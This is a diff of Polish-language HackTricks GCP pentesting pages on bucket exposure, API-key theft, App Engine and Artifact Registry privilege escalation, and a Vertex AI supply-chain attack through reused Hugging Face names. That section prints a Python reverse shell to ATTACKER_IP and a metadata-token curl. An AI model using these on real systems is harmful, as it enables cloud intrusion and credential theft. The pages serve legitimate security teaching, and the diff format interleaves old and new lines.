<summary>Zaktualizuj stan findingu</summary>
```bash
gcloud scc findings update `myFinding` --organization=123456 --source=5678 --state=INACTIVE
```
</details>
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,15 +4,19 @@
## Cloud Storage
Aby uzyskać więcej informacji na temat Cloud Storage, sprawdź tę stronę:
Więcej informacji o Cloud Storage znajdziesz na tej stronie:
{{#ref}}
../gcp-services/gcp-storage-enum.md
{{#endref}}
### Udziel publicznego dostępu
### Udzielenie dostępu publicznego
Możliwe jest udzielenie zewnętrznym użytkownikom (zalogowanym w GCP lub nie) dostępu do zawartości kubełków. Jednak domyślnie opcja publicznego udostępniania kubełka będzie wyłączona:
Możliwe jest przyznanie zewnętrznym użytkownikom (zalogowanym w GCP lub nie) dostępu do zawartości bucketów. Jednak domyślnie opcja udostępnienia bucketu publicznie jest wyłączona:
<details>
<summary>Ustaw bucket/objects jako publiczne</summary>
```bash
# Disable public prevention
gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
@@ -25,8 +29,10 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
```
Jeśli spróbujesz nadać **ACL do koszyka z wyłączonymi ACL** napotkasz ten błąd: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
</details>
Aby uzyskać dostęp do otwartych koszyków za pomocą przeglądarki, uzyskaj dostęp do adresu URL `https://<bucket_name>.storage.googleapis.com/` lub `https://<bucket_name>.storage.googleapis.com/<object_name>`
Jeśli spróbujesz nadać **ACLs** bucketowi z wyłączonymi ACLs, otrzymasz ten błąd: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
Aby uzyskać dostęp do otwartych bucketów przez przeglądarkę, otwórz adres URL `https://<bucket_name>.storage.googleapis.com/` lub `https://<bucket_name>.storage.googleapis.com/<object_name>`
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,113 +0,0 @@
# GCP - Vertex AI Post-Exploitation via Hugging Face Model Namespace Reuse
{{#include ../../../banners/hacktricks-training.md}}
## Scenariusz
- Vertex AI Model Garden umożliwia bezpośrednie wdrażanie wielu modeli Hugging Face (HF).
- Identyfikatory modeli HF to Author/ModelName. Jeśli autor/org na HF zostanie usunięty, ta sama nazwa autora może zostać ponownie zarejestrowana przez dowolną osobę. Atakujący mogą wtedy utworzyć repo z tym samym ModelName pod legacy path.
- Pipelines, SDKs lub cloud catalogs, które pobierają zasoby tylko po nazwie (bez pinning/integrity), pobiorą repo kontrolowane przez atakującego. Gdy model zostanie wdrożony, loader code z tego repo może wykonać się wewnątrz kontenera endpointa Vertex AI, dając RCE z uprawnieniami endpointa.
Dwa typowe przypadki przejęcia na HF:
- Usunięcie własności: stara ścieżka zwraca 404 aż do momentu, gdy ktoś ponownie zarejestruje autora i opublikuje ten sam ModelName.
- Transfer własności: HF zwraca 307 redirecty ze starego Author/ModelName do nowego autora. Jeśli stary autor zostanie później usunięty i ponownie zarejestrowany przez atakującego, łańcuch przekierowań zostaje przerwany i repo atakującego odpowiada pod legacy path.
## Identyfikacja powtórnie używalnych przestrzeni nazw (HF)
- Stary autor usunięty: strona autora zwraca 404; ścieżka modelu może zwracać 404 aż do przejęcia.
- Przeniesione modele: stara ścieżka modelu zwraca 307 do nowego właściciela dopóki stary autor istnieje. Jeśli stary autor zostanie później usunięty i ponownie zarejestrowany, legacy path zostanie rozwiązany na repo atakującego.
Szybkie sprawdzenia przy użyciu curl:
```bash
# Check author/org existence
curl -I https://huggingface.co/<Author>
# 200 = exists, 404 = deleted/available
# Check old model path behavior
curl -I https://huggingface.co/<Author>/<ModelName>
# 307 = redirect to new owner (transfer case)
# 404 = missing (deletion case) until someone re-registers
```
## Przebieg ataku end-to-end przeciwko Vertex AI
1) Odkryj wielokrotnego użytku przestrzenie nazw modeli, które Model Garden pokazuje jako możliwe do wdrożenia:
- Znajdź modele HF w Vertex AI Model Garden, które nadal pokazują się jako „verified deployable”.
- Zweryfikuj na HF, czy oryginalny autor został usunięty lub czy model został przeniesiony, a stary autor później usunięty.
2) Ponownie zarejestruj usuniętego autora na HF i odtwórz tę samą ModelName.
3) Opublikuj złośliwe repo. Dołącz kod, który wykona się przy ładowaniu modelu. Przykłady kodu, które często wykonują się podczas ładowania modelu na HF:
- Efekty uboczne w pliku __init__.py repozytorium
- Niestandardowe pliki modeling_*.py lub kod przetwarzający odwoływany przez config/auto_map
- Ścieżki kodu wymagające trust_remote_code=True w pipelines Transformers
4) Deployment Vertex AI korzystający ze starego Author/ModelName teraz pobiera repo atakującego. Loader wykonuje się wewnątrz kontenera endpointu Vertex AI.
5) payload uzyskuje dostęp z środowiska endpointu (RCE) z uprawnieniami endpointu.
Przykładowy fragment payload, wykonywany przy imporcie (tylko do demonstracji):
```python
# Place in __init__.py or a module imported by the model loader
import os, socket, subprocess, threading
def _rs(host, port):
s = socket.socket(); s.connect((host, port))
for fd in (0,1,2):
try:
os.dup2(s.fileno(), fd)
except Exception:
pass
subprocess.call(["/bin/sh","-i"]) # Or python -c exec ...
if os.environ.get("VTX_AI","1") == "1":
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
```
Notatki
- Rzeczywiste loadery różnią się. Wiele integracji Vertex AI HF klonuje i importuje moduły z repo wskazywane w konfiguracji modelu (np. auto_map), co może wywołać wykonanie kodu. W niektórych przypadkach wymagane jest trust_remote_code=True.
- Endpoint zazwyczaj działa w dedykowanym containerze o ograniczonym zasięgu, ale stanowi ważny initial foothold dla dostępu do danych i lateral movement w GCP.
## Wskazówki po eksploatacji (Vertex AI Endpoint)
Gdy kod działa wewnątrz endpoint container, rozważ:
- Przeprowadzenie enumeracji zmiennych środowiskowych i metadata w poszukiwaniu poświadczeń/tokenów
- Dostęp do dołączonego storage lub zamontowanych model artifacts
- Interakcję z Google APIs poprzez service account identity (Document AI, Storage, Pub/Sub, etc.)
- Utrzymanie persistence w model artifact, jeśli platforma ponownie pobiera repo
Wylicz instance metadata, jeśli są dostępne (zależne od containera):
```bash
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
```
## Wskazówki obronne dla użytkowników Vertex AI
- Przypinaj modele do commitów w HF loaders, aby zapobiec cichej podmianie:
```python
from transformers import AutoModel
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
```
- Replikuj zweryfikowane modele HF do zaufanego wewnętrznego repozytorium/artifact registry i wdrażaj je stamtąd.
- Ciągle skanuj repozytoria kodu i konfiguracje w poszukiwaniu na stałe zakodowanych Author/ModelName, które zostały usunięte/przeniesione; zaktualizuj do nowych namespace’ów lub przypnij do konkretnego commita.
- W Model Garden weryfikuj pochodzenie modelu i istnienie autora przed wdrożeniem.
## Heurystyki rozpoznawcze (HTTP)
- Usunięty author: author page 404; legacy model path 404 aż do takeover.
- Przeniesiony model: legacy path 307 do nowego autora, gdy stary autor nadal istnieje; jeśli stary autor zostanie później usunięty i ponownie zarejestrowany, legacy path serwuje zawartość atakującego.
```bash
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
```
## Odnośniki krzyżowe
- Zobacz szerszą metodologię i uwagi dotyczące łańcucha dostaw:
{{#ref}}
../../pentesting-cloud-methodology.md
{{#endref}}
## Referencje
- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,17 +4,17 @@
## Apikeys
Następujące uprawnienia są przydatne do tworzenia i kradzieży kluczy API, nie zapomnij o tym z dokumentacji: _Klucz API to prosty zaszyfrowany ciąg, który **identyfikuje aplikację bez żadnego podmiotu**. Są przydatne do uzyskiwania dostępu do **publicznych danych anonimowo** i są używane do **kojarzenia** żądań API z twoim projektem w celu kwotowania i **rozliczeń**._
The following permissions are useful to create and steal API keys, not this from the docs: _Klucz API to prosty zaszyfrowany ciąg znaków, który **identyfikuje aplikację bez żadnego podmiotu**. Są przydatne do anonimowego dostępu do **danych publicznych**, i służą do **powiązania** żądań API z Twoim projektem w celu limitów i **rozliczeń**._
Dlatego z kluczem API możesz sprawić, że firma zapłaci za twoje korzystanie z API, ale nie będziesz w stanie podnieść uprawnień.
Zatem, z kluczem API możesz sprawić, że firma zapłaci za twoje użycie API, ale nie będziesz w stanie eskalować uprawnień.
Aby uzyskać więcej informacji na temat kluczy API, sprawdź:
For more information about API Keys check:
{{#ref}}
../gcp-services/gcp-api-keys-enum.md
{{#endref}}
Aby uzyskać inne sposoby tworzenia kluczy API, sprawdź:
For other ways to create API keys check:
{{#ref}}
gcp-serviceusage-privesc.md
@@ -22,46 +22,61 @@ gcp-serviceusage-privesc.md
### Brute Force API Key access <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
Ponieważ możesz nie wiedzieć, które API są włączone w projekcie lub jakie ograniczenia zastosowano do znalezionego klucza API, warto uruchomić narzędzie [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) i sprawdzić **co możesz uzyskać z kluczem API.**
Ponieważ możesz nie wiedzieć, które API są włączone w projekcie lub jakie ograniczenia zastosowano do znalezionego klucza API, warto uruchomić narzędzie [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) i sprawdzić **do czego masz dostęp używając klucza API.**
### `apikeys.keys.create` <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
To uprawnienie pozwala na **tworzenie klucza API**:
To uprawnienie pozwala **utworz klucz API**:
<details>
<summary>Utwórz klucz API używając gcloud</summary>
```bash
gcloud services api-keys create
Operation [operations/akmf.p7-[...]9] complete. Result: {
"@type":"type.googleapis.com/google.api.apikeys.v2.Key",
"createTime":"2022-01-26T12:23:06.281029Z",
"etag":"W/\"HOhA[...]==\"",
"etag":"W/\"HOhA[...]=\"",
"keyString":"AIzaSy[...]oU",
"name":"projects/5[...]6/locations/global/keys/f707[...]e8",
"uid":"f707[...]e8",
"updateTime":"2022-01-26T12:23:06.378442Z"
}
```
Możesz znaleźć skrypt do automatyzacji [**tworzenia, eksploatacji i czyszczenia podatnego środowiska tutaj**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh).
</details>
> [!OSTRZEŻENIE]
> Zauważ, że domyślnie użytkownicy mają uprawnienia do tworzenia nowych projektów i przyznawana jest im rola Właściciela w nowym projekcie. Tak więc użytkownik mógłby **utworzyć projekt i klucz API w tym projekcie**.
Możesz znaleźć skrypt automatyzujący [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh).
> [!CAUTION]
> Należy pamiętać, że domyślnie użytkownicy mają uprawnienia do tworzenia nowych projektów i otrzymują rolę Owner dla nowego projektu. Zatem użytkownik może u**tworzyć projekt i klucz API w tym projekcie**.
### `apikeys.keys.getKeyString` , `apikeys.keys.list` <a href="#apikeys.keys.getkeystringapikeys.keys.list" id="apikeys.keys.getkeystringapikeys.keys.list"></a>
Te uprawnienia pozwalają na **wylistowanie i pobranie wszystkich kluczy API oraz uzyskanie klucza**:
Te uprawnienia pozwalają na **wylistowanie i pobranie wszystkich apiKeys oraz pobranie Key**:
<details>
<summary>Wyświetlanie i pobieranie wszystkich kluczy API</summary>
```bash
for key in $(gcloud services api-keys list --uri); do
gcloud services api-keys get-key-string "$key"
done
```
Możesz znaleźć skrypt do automatyzacji [**tworzenia, eksploatacji i czyszczenia podatnego środowiska tutaj**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh).
</details>
Możesz znaleźć skrypt automatyzujący [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh).
### `apikeys.keys.undelete` , `apikeys.keys.list` <a href="#serviceusage.apikeys.regenerateapikeys.keys.list" id="serviceusage.apikeys.regenerateapikeys.keys.list"></a>
Te uprawnienia pozwalają na **wyświetlanie i regenerowanie usuniętych kluczy API**. **Klucz API jest podawany w wyniku** po zakończeniu **przywracania**:
Te uprawnienia pozwalają na **wylistowanie i regenerację usuniętych kluczy API**. **Klucz API jest zwracany w wyniku** po wykonaniu **przywrócenia**:
<details>
<summary>List and undelete API keys</summary>
```bash
gcloud services api-keys list --show-deleted
gcloud services api-keys undelete <key-uid>
```
### Stwórz wewnętrzną aplikację OAuth, aby phishingować innych pracowników
</details>
### Utwórz wewnętrzną aplikację OAuth, aby phish innych pracowników
Sprawdź następującą stronę, aby dowiedzieć się, jak to zrobić, chociaż ta akcja należy do usługi **`clientauthconfig`** [zgodnie z dokumentacją](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):
@@ -4,7 +4,7 @@
## App Engine
Aby uzyskać więcej informacji o App Engine, sprawdź:
Więcej informacji o App Engine znajdziesz:
{{#ref}}
../gcp-services/gcp-app-engine-enum.md
@@ -12,26 +12,34 @@ Aby uzyskać więcej informacji o App Engine, sprawdź:
### `appengine.applications.get`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.operations.list`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.create`, `appengine.versions.get`, `appengine.versions.list`, `cloudbuild.builds.get`,`iam.serviceAccounts.actAs`, `resourcemanager.projects.get`, `storage.objects.create`, `storage.objects.list`
To są potrzebne uprawnienia do **wdrożenia aplikacji za pomocą `gcloud` cli**. Może **`get`** i **`list`** mo być **pominięte**.
To są wymagane uprawnienia do **deploy an App using `gcloud` cli**. Możliwe, że uprawnienia **`get`** i **`list`** można by było **pominąć**.
Możesz znaleźć przykłady kodu w Pythonie w [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine)
Przykłady kodu w Pythonie znajdziesz pod adresem [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine)
Domyślnie nazwa usługi aplikacji będzie **`default`**, a tylko 1 instancja może mieć tę samą nazwę.\
Aby to zmienić i utworzyć drugą aplikację, w **`app.yaml`**, zmień wartość klucza głównego na coś takiego jak **`service: my-second-app`**
Domyślnie nazwa usługi App będzie **`default`**, i może istnieć tylko 1 instancja o tej samej nazwie.\
Aby to zmienić i utworzyć drugą aplikację, w **`app.yaml`** zmień wartość klucza root na coś takiego jak **`service: my-second-app`**
<details>
<summary>Deploy App Engine application</summary>
```bash
cd python-docs-samples/appengine/flexible/hello_world
gcloud app deploy #Upload and start application inside the folder
```
Daj temu co najmniej 10-15 minut, jeśli to nie zadziała, zadzwoń **deploy another of times** i poczekaj kilka minut.
</details>
Odczekaj co najmniej 1015 minut; jeśli to nie zadziała, wywołaj **deploy another of times** i poczekaj kilka minut.
> [!NOTE]
> Możliwe jest **wskazanie konta usługi do użycia**, ale domyślnie używane jest domyślne SA App Engine.
> Można **wskazać Service Account do użycia**, ale domyślnie używany jest App Engine default SA.
URL aplikacji wygląda mniej więcej tak `https://<proj-name>.oa.r.appspot.com/` lub `https://<service_name>-dot-<proj-name>.oa.r.appspot.com`
The URL of the application is something like `https://<proj-name>.oa.r.appspot.com/` or `https://<service_name>-dot-<proj-name>.oa.r.appspot.com`
### Zaktualizuj odpowiednie uprawnienia
### Aktualizacja równoważnych uprawnień
Możesz mieć wystarczające uprawnienia, aby zaktualizować AppEngine, ale nie aby utworzyć nowy. W takim przypadku oto jak możesz zaktualizować bieżący App Engine:
Możesz mieć wystarczające uprawnienia, aby zaktualizować AppEngine, ale nie utworzyć nowego. W takim przypadku oto jak możesz zaktualizować bieżący App Engine:
<details>
<summary>Zaktualizuj istniejącą aplikację App Engine</summary>
```bash
# Find the code of the App Engine in the buckets
gsutil ls
@@ -62,41 +70,59 @@ gcloud app deploy
# Update the SA if you need it (and if you have actas permissions)
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
```
Jeśli **już skompromitowałeś AppEngine** i masz uprawnienia **`appengine.applications.update`** oraz **actAs** nad kontem usługi, możesz zmodyfikować konto usługi używane przez AppEngine za pomocą:
</details>
Jeśli **już przejąłeś AppEngine** i masz uprawnienie **`appengine.applications.update`** oraz **actAs** na koncie usługi, którego chcesz użyć, możesz zmodyfikować konto usługi używane przez AppEngine za pomocą:
<details>
<summary>Aktualizuj konto usługi App Engine</summary>
```bash
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
```
</details>
### `appengine.instances.enableDebug`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.get`, `appengine.versions.list`, `compute.projects.get`
Dzięki tym uprawnieniom możliwe jest **logowanie się przez ssh w instancjach App Engine** typu **flexible** (nie standardowym). Niektóre z uprawnień **`list`** i **`get`** **mogą nie być naprawdę potrzebne**.
Dzięki tym uprawnieniom możliwe jest **zalogowanie się przez ssh na instancjach App Engine** typu **flexible** (nie standard). Niektóre uprawnienia **`list`** i **`get`** **mogą nie być faktycznie potrzebne**.
<details>
<summary>SSH do instancji App Engine</summary>
```bash
gcloud app instances ssh --service <app-name> --version <version-id> <ID>
```
</details>
### `appengine.applications.update`, `appengine.operations.get`
Myślę, że to tylko zmienia tło SA, które Google użyje do skonfigurowania aplikacji, więc nie sądzę, że można to wykorzystać do kradzieży konta usługi.
Myślę, że to po prostu zmienia SA używane w tle przez google do konfiguracji aplikacji, więc nie sądzę, że można tego nadużyć, by ukraść service account.
<details>
<summary>Aktualizuj service account aplikacji</summary>
```bash
gcloud app update --service-account=<sa_email>
```
</details>
### `appengine.versions.getFileContents`, `appengine.versions.update`
Nie jestem pewien, jak używać tych uprawnień ani czy są one przydatne (zauważ, że gdy zmieniasz kod, tworzona jest nowa wersja, więc nie wiem, czy możesz po prostu zaktualizować kod lub rolę IAM jednej, ale przypuszczam, że powinieneś być w stanie, może zmieniając kod wewnątrz bucketu??).
Nie jestem pewien, jak używać tych uprawnień ani czy są przydatne (uwaga: kiedy zmieniasz kod, tworzona jest nowa wersja, więc nie wiem, czy możesz po prostu zaktualizować kod lub rolę IAM istniejącej wersji, ale przypuszczam, że powinno to być możliwe — może przez zmianę kodu wewnątrz bucketu??).
### Write Access over the buckets
### Dostęp zapisu do bucketów
Jak wspomniano, wersje appengine generują pewne dane wewnątrz bucketu w formacie nazwy: `staging.<project-id>.appspot.com`. Zauważ, że nie jest możliwe wcześniejsze przejęcie tego bucketu, ponieważ użytkownicy GCP nie są uprawnieni do generowania bucketów przy użyciu nazwy domeny `appspot.com`.
Jak wspomniano, wersje appengine generują pewne dane wewnątrz bucketu o nazwie w formacie: `staging.<project-id>.appspot.com`. Zauważ, że nie da się wcześniej przejąć tego bucketu, ponieważ użytkownicy GCP nie mają uprawnień do tworzenia bucketów używających domeny `appspot.com`.
Jednakże, mając dostęp do odczytu i zapisu w tym bucketie, możliwe jest eskalowanie uprawnień do SA przypisanego do wersji AppEngine poprzez monitorowanie bucketu i w każdej chwili, gdy dokonana zostanie zmiana, jak najszybciej modyfikować kod. W ten sposób kontener, który zostanie utworzony z tego kodu, **wykona zainfekowany kod**.
Jednak mając dostęp do odczytu i zapisu w tym buckecie, można eskalować uprawnienia do SA przypisanego do wersji AppEngine przez monitorowanie bucketa i za każdym razem, gdy nastąpi zmiana, jak najszybciej zmodyfikować kod. W ten sposób kontener tworzony z tego kodu będzie **execute the backdoored code**.
Aby uzyskać więcej informacji i **PoC sprawdź odpowiednie informacje z tej strony**:
For more information and a **PoC check the relevant information from this page**:
{{#ref}}
gcp-storage-privesc.md
{{#endref}}
### Write Access over the Artifact Registry
### Dostęp zapisu do Artifact Registry
Chociaż App Engine tworzy obrazy dockerowe wewnątrz Artifact Registry. Przetestowano, że **nawet jeśli zmodyfikujesz obraz wewnątrz tej usługi** i usuniesz instancję App Engine (tak aby wdrożona została nowa), **wykonywany kod się nie zmienia**.\
Może być możliwe, że przeprowadzając **atak Race Condition, jak w przypadku bucketów, może być możliwe nadpisanie wykonywanego kodu**, ale to nie zostało przetestowane.
Chociaż App Engine tworzy obrazy dockerowe w Artifact Registry, przetestowano, że **nawet jeśli zmodyfikujesz obraz w tej usłudze** i usuniesz instancję App Engine (tak, że zostanie wdrożona nowa), to **wykonywany kod się nie zmienia**.\
Możliwe, że przeprowadzenie ataku typu **Race Condition**, podobnie jak w przypadku bucketów, mogłoby pozwolić na nadpisanie wykonywanego kodu, jednak nie zostało to przetestowane.
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,10 +1,10 @@
# GCP - Przejęcie uprawnień w Artifact Registry
# GCP - Artifact Registry Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Artifact Registry
Aby uzyskać więcej informacji na temat Artifact Registry, sprawdź:
Aby uzyskać więcej informacji o Artifact Registry sprawdź:
{{#ref}}
../gcp-services/gcp-artifact-registry-enum.md
@@ -12,7 +12,10 @@ Aby uzyskać więcej informacji na temat Artifact Registry, sprawdź:
### artifactregistry.repositories.uploadArtifacts
Dzięki temu uprawnieniu atakujący mógłby przesyłać nowe wersje artefaktów z złośliwym kodem, takimi jak obrazy Docker:
Dzięki temu uprawnieniu atakujący może przesłać nowe wersje artefaktów zawierające złośliwy kod, np. Docker images:
<details>
<summary>Prześlij obraz Docker do Artifact Registry</summary>
```bash
# Configure docker to use gcloud to authenticate with Artifact Registry
gcloud auth configure-docker <location>-docker.pkg.dev
@@ -23,20 +26,25 @@ docker tag <local-img-name>:<local-tag> <location>-docker.pkg.dev/<proj-name>/<r
# Upload it
docker push <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
```
</details>
> [!CAUTION]
> Sprawdzono, że **możliwe jest przesłanie nowego złośliwego obrazu docker** o tej samej nazwie i tagu, co już obecny, więc **stary straci tag** i następnym razem, gdy obraz z tym tagiem zostanie **pobrany, zostanie pobrany złośliwy**.
> Sprawdzono, że jest **możliwe przesłanie nowego złośliwego obrazu docker** o tej samej nazwie i tagu co istniejący, więc **stary obraz utraci tag**, a przy następnym pobraniu obrazu z tym tagiem zostanie pobrany obraz złośliwy.
<details>
<summary>Prześlij bibliotekę Pythona</summary>
**Zacznij od stworzenia biblioteki do przesłania** (jeśli możesz pobrać najnowszą wersję z rejestru, możesz pominąć ten krok):
**Rozpocznij od utworzenia biblioteki do przesłania** (jeśli możesz pobrać najnowszą wersję z rejestru, możesz pominąć ten krok):
1. **Ustaw strukturę swojego projektu**:
1. **Skonfiguruj strukturę projektu**:
- Utwórz nowy katalog dla swojej biblioteki, np. `hello_world_library`.
- Wewnątrz tego katalogu utwórz kolejny katalog z nazwą swojego pakietu, np. `hello_world`.
- Wewnątrz katalogu swojego pakietu utwórz plik `__init__.py`. Ten plik może być pusty lub może zawierać inicjalizacje dla twojego pakietu.
- Wewnątrz tego katalogu utwórz kolejny katalog o nazwie pakietu, np. `hello_world`.
- W katalogu pakietu utwórz plik `__init__.py`. Plik może być pusty lub zawierać inicjalizacje pakietu.
<details>
<summary>Utwórz strukturę projektu</summary>
```bash
mkdir hello_world_library
@@ -45,10 +53,15 @@ mkdir hello_world
touch hello_world/__init__.py
```
</details>
2. **Napisz kod swojej biblioteki**:
- Wewnątrz katalogu `hello_world` utwórz nowy plik Pythona dla swojego modułu, np. `greet.py`.
- Napisz swoją funkcję "Hello, World!":
- W katalogu `hello_world` utwórz nowy plik Python dla modułu, np. `greet.py`.
- Napisz funkcję "Hello, World!":
<details>
<summary>Utwórz moduł biblioteki</summary>
```python
# hello_world/greet.py
@@ -56,10 +69,15 @@ def say_hello():
return "Hello, World!"
```
</details>
3. **Utwórz plik `setup.py`**:
- W katalogu głównym swojego katalogu `hello_world_library` utwórz plik `setup.py`.
- Ten plik zawiera metadane o twojej bibliotece i informuje Pythona, jak ją zainstalować.
- W katalogu głównym `hello_world_library` utwórz plik `setup.py`.
- Ten plik zawiera metadane o bibliotece i informuje Pythona, jak ją zainstalować.
<details>
<summary>Utwórz plik setup.py</summary>
```python
# setup.py
@@ -70,47 +88,70 @@ name='hello_world',
version='0.1',
packages=find_packages(),
install_requires=[
# Jakiekolwiek zależności, których potrzebuje twoja biblioteka
# Any dependencies your library needs
],
)
```
**Teraz prześlij bibliotekę:**
</details>
**Teraz wgraj bibliotekę:**
1. **Zbuduj swój pakiet**:
- Z katalogu głównego swojego katalogu `hello_world_library` uruchom:
- Z katalogu głównego `hello_world_library` uruchom:
<details>
<summary>Zbuduj pakiet Pythona</summary>
```sh
python3 setup.py sdist bdist_wheel
```
2. **Skonfiguruj uwierzytelnianie dla twine** (używane do przesyłania twojego pakietu):
</details>
2. **Skonfiguruj uwierzytelnianie dla twine** (używane do przesyłania pakietu):
- Upewnij się, że masz zainstalowane `twine` (`pip install twine`).
- Użyj `gcloud`, aby skonfigurować dane uwierzytelniające:
````
- Użyj `gcloud` do skonfigurowania poświadczeń:
<details>
<summary>Prześlij pakiet za pomocą twine</summary>
```sh
twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://<location>-python.pkg.dev/<project-id>/<repo-name>/ dist/*
```
````
3. **Wyczyść budowę**
</details>
3. **Wyczyść kompilację**
<details>
<summary>Wyczyść artefakty kompilacji</summary>
```bash
rm -rf dist build hello_world.egg-info
```
</details>
> [!OSTRZEŻENIE]
> Nie można przesłać biblioteki python o tej samej wersji, która już istnieje, ale można przesłać **większe wersje** (lub dodać dodatkowe **`.0` na końcu** wersji, jeśli to działa - nie w pythonie jednak), lub **usunąć ostatnią wersję i przesłać nową z** (potrzebne `artifactregistry.versions.delete)`**:**
</details>
> [!CAUTION]
> Nie można przesłać biblioteki python o tej samej wersji co już obecna, ale można przesłać **wyższe wersje** (albo dodać dodatkowe **`.0` na końcu** wersji jeśli to zadziała - choć nie w pythonie -), lub **usunąć ostatnią wersję i przesłać nową** (wymagane `artifactregistry.versions.delete`):
>
> <details>
> <summary>Usuń wersję artefaktu</summary>
>
> ```sh
> gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
> ```
>
> </details>
### `artifactregistry.repositories.downloadArtifacts`
Dzięki temu uprawnieniu możesz **pobierać artefakty** i wyszukiwać **wrażliwe informacje** oraz **luki w zabezpieczeniach**.
Posiadając to uprawnienie możesz **pobierać artefakty** i wyszukiwać **wrażliwe informacje** oraz **podatności**.
Pobierz obraz **Docker**:
<details>
<summary>Pobierz obraz Docker z Artifact Registry</summary>
```sh
# Configure docker to use gcloud to authenticate with Artifact Registry
gcloud auth configure-docker <location>-docker.pkg.dev
@@ -118,11 +159,18 @@ gcloud auth configure-docker <location>-docker.pkg.dev
# Dowload image
docker pull <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
```
</details>
Pobierz bibliotekę **python**:
<details>
<summary>Pobierz bibliotekę Python z Artifact Registry</summary>
```bash
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
```
- Co się stanie, jeśli zdalne i standardowe rejestry zostaną zmieszane w jednym wirtualnym, a pakiet istnieje w obu? Sprawdź tę stronę:
</details>
- Co się stanie, jeśli rejestr zdalny i rejestr standardowy zostaną połączone w rejestrze wirtualnym i pakiet istnieje w obu? Sprawdź tę stronę:
{{#ref}}
../gcp-persistence/gcp-artifact-registry-persistence.md
@@ -130,30 +178,40 @@ pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth prin
### `artifactregistry.tags.delete`, `artifactregistry.versions.delete`, `artifactregistry.packages.delete`, (`artifactregistry.repositories.get`, `artifactregistry.tags.get`, `artifactregistry.tags.list`)
Usuń artefakty z rejestru, takie jak obrazy docker:
Usuwa artefakty z rejestru, takie jak obrazy Docker:
<details>
<summary>Usuń obraz Docker z Artifact Registry</summary>
```bash
# Delete a docker image
gcloud artifacts docker images delete <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
```
</details>
### `artifactregistry.repositories.delete`
Usuń pełne repozytorium (nawet jeśli zawiera zawartość):
Usuń całe repozytorium (nawet jeśli ma zawartość):
<details>
<summary>Usuń repozytorium Artifact Registry</summary>
```
gcloud artifacts repositories delete <repo-name> --location=<location>
```
</details>
### `artifactregistry.repositories.setIamPolicy`
Atakujący z tym uprawnieniem mógłby nadać sobie uprawnienia do przeprowadzenia niektórych z wcześniej wspomnianych ataków na repozytoria.
Atakujący z tym uprawnieniem mógłby przyznać sobie uprawnienia do wykonania niektórych wcześniej wspomnianych ataków na repozytorium.
### Przechodzenie do innych usług przez odczyt i zapis w Artifact Registry
### Pivoting do innych usług przez Artifact Registry (odczyt i zapis)
- **Cloud Functions**
